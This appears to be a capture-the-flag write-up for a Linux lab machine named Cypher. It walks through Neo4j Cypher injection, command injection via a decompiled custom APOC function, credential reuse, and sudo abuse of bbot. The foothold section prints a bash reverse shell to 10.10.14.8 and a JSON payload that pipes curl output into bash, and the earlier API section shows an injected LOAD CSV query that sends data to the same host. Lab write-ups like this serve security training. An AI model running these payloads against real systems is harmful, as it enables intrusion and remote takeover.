Cypher is a Linux Medium box that starts with a website hosting a .jar file. Once downloaded and decompiled you find amongst them a CustomFunctions.class java file. Using jd-gui we are able to look at the source code of the file. The code reveals a attack vector inside a string that executes a system command. Using Cypher Injection we are able to obtain a reverse shell that gets us on the box as neo4j. Once on the box we look around to find a .yml file containing credentials. Trying with the other user gets us a shell as graphasm. We ssh in for stability, and check what permissions we have with sudo -l that reveals we can run bbot with sudo. Looking into the github and the man pages. We can force run a config through a dry run and have it abort before executing. Doing this we can obtain the root.txt file.

Initial Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
| 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Looking around we don’t see much interesting, therefore we can gobuster and see what’s hiding.

/api is interesting enough, when we scan that we only see one endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$gobuster dir -u http://cypher.htb/api/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb/api/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/auth (Status: 405) [Size: 31]

I presume this is an endpoint looking for authentication, therefore a POST request with something like username:password.

API Endpoint


Sending a GET Request only provided a response in JSON telling us duhhh, most likely wants a POST Request for authentication. Also be weary as it could redirected us to /api/api/auth, so we need to remember to send our POST to /api/auth.

Wonder if we can cause an error?? We can try a payload to see if we can get a neo4j version. Maybe we can get it to hit our server, yet fortnately we got an error which helps as well as and the version at the bottom I assuming.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Fri, 14 Mar 2025 16:03:22 GMT
Content-Length: 3257
Connection: keep-alive

Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/app/app.py", line 63, in <listcomp>
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 378, in __iter__
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.ClientError: {code: Neo.ClientError.Statement.ExternalResourceFailed} {message: Invalid URL 'http://10.10.14.8/?version=5.24.1&name=Neo4j Kernel&edition=community': Illegal character in query at index 44: http://10.10.14.8/?version=5.24.1&name=Neo4j Kernel&edition=community ()}

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/app/app.py", line 165, in login
creds_valid = verify_creds(username, password)
File "/app/app.py", line 151, in verify_creds
raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.8/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //' return h.value as hash: Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/app/app.py", line 63, in <listcomp>
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 378, in __iter__
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.ClientError: {code: Neo.ClientError.Statement.ExternalResourceFailed} {message: Invalid URL 'http://10.10.14.8/?version=5.24.1&name=Neo4j Kernel&edition=community': Illegal character in query at index 44: http://10.10.14.8/?version=5.24.1&name=Neo4j Kernel&edition=community ()}

Lets try sending a POST with some creds and maybe an error or mispelling.

JackPot!!! We can see what the expected expressions would be and how we should craft a payload. Lets move on for now.

Testing directory

/testing looks interesting, once we check that out we find a directory listing with a .jar file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gobuster dir -u http://cypher.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 3671]
/index (Status: 200) [Size: 4562]
/api (Status: 307) [Size: 0] [--> /api/docs]
/about (Status: 200) [Size: 4986]
/demo (Status: 307) [Size: 0] [--> /login]
/. (Status: 200) [Size: 4562]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
<SNIP>

Once we download the file we can unzip it like a normal .zip file. Lets list whats inside first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ unzip -l custom-apoc-extension-1.0-SNAPSHOT.jar
Archive: custom-apoc-extension-1.0-SNAPSHOT.jar
Length Date Time Name
--------- ---------- ----- ----
0 2024-09-19 01:11 META-INF/
81 2024-09-19 01:11 META-INF/MANIFEST.MF
0 2024-09-19 01:11 com/
0 2024-09-19 01:11 com/cypher/
0 2024-09-19 01:11 com/cypher/neo4j/
0 2024-09-19 01:11 com/cypher/neo4j/apoc/
547 2024-09-19 01:11 com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class
1670 2024-09-19 01:11 com/cypher/neo4j/apoc/HelloWorldProcedure.class
3837 2024-09-19 01:11 com/cypher/neo4j/apoc/CustomFunctions.class
573 2024-09-19 01:11 com/cypher/neo4j/apoc/HelloWorldProcedure$HelloWorldOutput.class
0 2024-09-16 13:07 META-INF/maven/
0 2024-09-16 13:07 META-INF/maven/com.cypher.neo4j/
0 2024-09-16 13:07 META-INF/maven/com.cypher.neo4j/custom-apoc-extension/
1631 2024-09-16 13:07 META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml
79 2024-09-19 01:11 META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties
--------- -------
8418 15 files

Java Debug (Source Code Analysis)

Now we have some .class files. Usually written in java, we can look at the source code using jd-gui.

1
$ jd-gui CustomFunctions.class

This will give us a window with our function. If we look we can see it making a system call. The ClassFunctions uses shell command curl to get the HTTP status code. It suppresses the output (-s), ensures no file saved (-o /dev/null), and sets a connection timeout (–connect-timeout 1). The curl command returns the HTTP status code using the -w flag and {http_code}. The primary issue lies in how the URL is passed into the shell command without sufficient validation or sanitization. This is were we can append arbritrary code.

FootHold and Payload Creation

First we make our shell:

1
2
3
4
# shell.sh
/bin/bash

bash -i >& /dev/tcp/10.10.14.8/9001 0>&1

Now we have to craft a payload to try and hit our server. This should grab our payload and execute.

1
2
3
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' MATHC' return h.value as hash
AND
String statusCode = inputReader.readLine();"

So our payload might look something like this:

1
2
3
{"username":"admin' return h.value as a UNION CALL custom.getUrlStatusCode(\"cypher.htb;curl 10.10.14.8/shell.sh|bash;#\") YIELD statusCode AS a RETURN a; //",

"password":"Password123"}

Explanation
Using this in a POST Request we send the data as JSON. Though we are injecting our payload. We use h.value or u.name as our variable a then UNION CALL the function custom.getUrlStatusCode. Inside it we have our payload, which checks the status code of cypher.htb then curls our machine and executes our code. YIELD the statusCode as our variable a and return a.RETURN a will execute our code. We use \ to escape " inside the parentheses. Then // at then end to comment out everything else.

Shell as neo4j

Looking around we see graphasm in /home. Going into his home we find bbot_preset.yml which reveals credentials we can try for ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
neo4j@cypher:/$ cd /home/
cd /home/
neo4j@cypher:/home$ ls
ls
graphasm
neo4j@cypher:/home$ cd *
cd *
neo4j@cypher:/home/graphasm$ ls
ls
bbot_preset.yml
user.txt
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
cat bbot_preset.yml
targets:
- ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
modules:
neo4j:
username: neo4j
password: <SNIP>
neo4j@cypher:/home/graphasm$

Shell as graphasm

Using the creds to get in via ssh we see what we can run with permissions, if any.

1
2
3
4
5
6
7
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot

PrivEsc

Looking into the man pages and seeing how we can abuse this. We have a couple of different flags we can look at.

1
2
3
4
-c = custom config
-y = skip scan confirmation prompt
--dry-run = abort before executing scan
-d = debug (verbose/more info)

So we can try something like this that might reveal the flag for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
graphasm@cypher:~$ sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run

______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[DBUG] Preset bbot_cli_main: Adding module "json" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "stdout" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "python" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "csv" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "txt" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "aggregate" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "dnsresolve" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "cloudcheck" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "excavate" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "speculate" of type "internal"
<SNIP>
[DBUG] internal.excavate: Including Submodule URLExtractor
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt]
[DBUG] internal.excavate: Final combined yara rule contents: 784fdd4e2746a92781066bdf74593aa3

This reveals the root flag.